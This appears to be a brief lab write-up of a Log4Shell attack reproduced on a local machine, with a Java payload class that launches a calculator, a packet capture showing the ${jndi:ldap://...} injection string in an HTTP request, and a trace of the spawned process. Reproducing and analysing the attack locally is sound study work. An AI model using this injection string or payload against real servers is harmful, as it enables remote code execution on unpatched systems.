

In HIS name

SVA

Ali Sheikh Attar

Log4shell attack and analysis

We successfully implement a log4shell attack using local webserver, local ldap server and local httpserve for java file.

Malicious code

```
import java.io.IOException;

public class BadCode {
    public BadCode() throws IOException {
        System.err.println("Got ya!");

        String os = System.getProperty("os.name");

        if (os.startsWith("Windows")) {
            Runtime.getRuntime().exec("calc");
        } else if ("Mac OS X".equals(os)) {
            String[] cmd = { "open", "-a", "Calculator" };
            Runtime.getRuntime().exec(cmd);
        } else {
            String[] cmd = { "gnome-calculator" };
            Runtime.getRuntime().exec(cmd);
        }
    }
}
```

Network Trace

1 0.0000000...	:::1	:::1	TCP	94 33744 → 8000 [SYN] Seq=0 Win=65476 Len=0 MSS=65476 SACK_PERM TSval=380380914 TSecr=0
2 0.0000179...	:::1	:::1	TCP	94 8000 → 33744 [SYN, ACK] Seq=0 Ack=1 Win=65464 Len=0 MSS=65476 SACK_PERM TSval=380380914 TSecr=0
3 0.0000259...	:::1	:::1	TCP	86 33744 → 8000 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=380380914 TSecr=380380914
4 0.0001271...	:::1	:::1	HTTP	833 GET /hallo?name=\${jndi:ldap://localhost:10389/cn=badcode,dc=predic8,dc=de} HTTP/1.1
5 0.0001360...	:::1	:::1	TCP	86 8000 → 33744 [ACK] Seq=1 Ack=748 Win=64768 Len=0 TSval=380380914 TSecr=380380914
6 0.1078656...	127.0.0.1	127.0.0.1	TCP	74 52430 → 10389 [SYN] Seq=0 Win=65495 Len=0 MSS=65495 SACK_PERM TSval=2271123490 TSecr=0
7 0.1078805...	127.0.0.1	127.0.0.1	TCP	74 10389 → 52430 [SYN, ACK] Seq=0 Ack=1 Win=65483 Len=0 MSS=65495 SACK_PERM TSval=2271123490 TSecr=0
8 0.1078909...	127.0.0.1	127.0.0.1	TCP	66 52430 → 10389 [ACK] Seq=1 Ack=1 Win=65536 Len=0 TSval=2271123490 TSecr=2271123490
9 0.1144439...	127.0.0.1	127.0.0.1	TCP	80 52430 → 10389 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=14 TSval=2271123497 TSecr=2271123490
10 0.1144741...	127.0.0.1	127.0.0.1	TCP	66 10389 → 52430 [ACK] Seq=1 Ack=15 Win=65536 Len=0 TSval=2271123497 TSecr=2271123497
11 0.1218743...	127.0.0.1	127.0.0.1	TCP	80 10389 → 52430 [PSH, ACK] Seq=1 Ack=15 Win=65536 Len=14 TSval=2271123504 TSecr=2271123497
12 0.1218941...	127.0.0.1	127.0.0.1	TCP	66 52430 → 10389 [ACK] Seq=15 Ack=15 Win=65536 Len=0 TSval=2271123504 TSecr=2271123504
13 0.1229318...	127.0.0.1	127.0.0.1	TCP	161 52430 → 10389 [PSH, ACK] Seq=15 Ack=15 Win=65536 Len=95 TSval=2271123505 TSecr=2271123504
14 0.1295779...	127.0.0.1	127.0.0.1	TCP	588 10389 → 52430 [PSH, ACK] Seq=15 Ack=110 Win=65536 Len=522 TSval=2271123512 TSecr=2271123505
15 0.1296630...	127.0.0.1	127.0.0.1	TCP	80 10389 → 52430 [PSH, ACK] Seq=537 Ack=110 Win=65536 Len=14 TSval=2271123512 TSecr=2271123512
16 0.1298269...	127.0.0.1	127.0.0.1	TCP	66 52430 → 10389 [ACK] Seq=110 Ack=551 Win=65536 Len=0 TSval=2271123512 TSecr=2271123512
17 0.1443186...	127.0.0.1	127.0.0.1	TCP	102 52430 → 10389 [PSH, ACK] Seq=110 Ack=551 Win=65536 Len=36 TSval=2271123526 TSecr=2271123512
18 0.1445334...	127.0.0.1	127.0.0.1	TCP	66 52430 → 10389 [FIN, ACK] Seq=146 Ack=551 Win=65536 Len=0 TSval=2271123527 TSecr=2271123526
19 0.1469098...	127.0.0.1	127.0.0.1	TCP	66 10389 → 52430 [FIN, ACK] Seq=551 Ack=147 Win=65536 Len=0 TSval=2271123529 TSecr=2271123527
20 0.1469633...	127.0.0.1	127.0.0.1	TCP	66 52430 → 10389 [ACK] Seq=147 Ack=552 Win=65536 Len=0 TSval=2271123529 TSecr=2271123529
21 0.1701347...	:::1	:::1	TCP	310 8000 → 33744 [PSH, ACK] Seq=147 Ack=552 Win=65536 Len=0 TSval=2271123529 TSecr=2271123529
22 0.1701676...	:::1	:::1	TCP	86 33744 → 8000 [ACK] Seq=748 Ack=225 Win=65408 Len=0 TSval=380381084 TSecr=380380914
23 0.1711948...	:::1	:::1	HTTP	93 HTTP/1.1 200 OK (text/html)
24 0.1712075...	:::1	:::1	TCP	86 33744 → 8000 [ACK] Seq=748 Ack=232 Win=65408 Len=0 TSval=380381085 TSecr=380381085

Command trace

```
Command executed: PID 111456, Comm qtp196364206-24, Filename /home/asa/.local/bin/gnome-calculator
Command executed: PID 111456, Comm qtp196364206-24, Filename /usr/local/sbin/gnome-calculator
Command executed: PID 111456, Comm qtp196364206-24, Filename /usr/local/bin/gnome-calculator
Command executed: PID 111456, Comm qtp196364206-24, Filename /usr/sbin/gnome-calculator
Command executed: PID 111456, Comm qtp196364206-24, Filename /usr/bin/gnome-calculator
Command executed: PID 111461, Comm code, Filename /home/asa/.local/bin/docker
```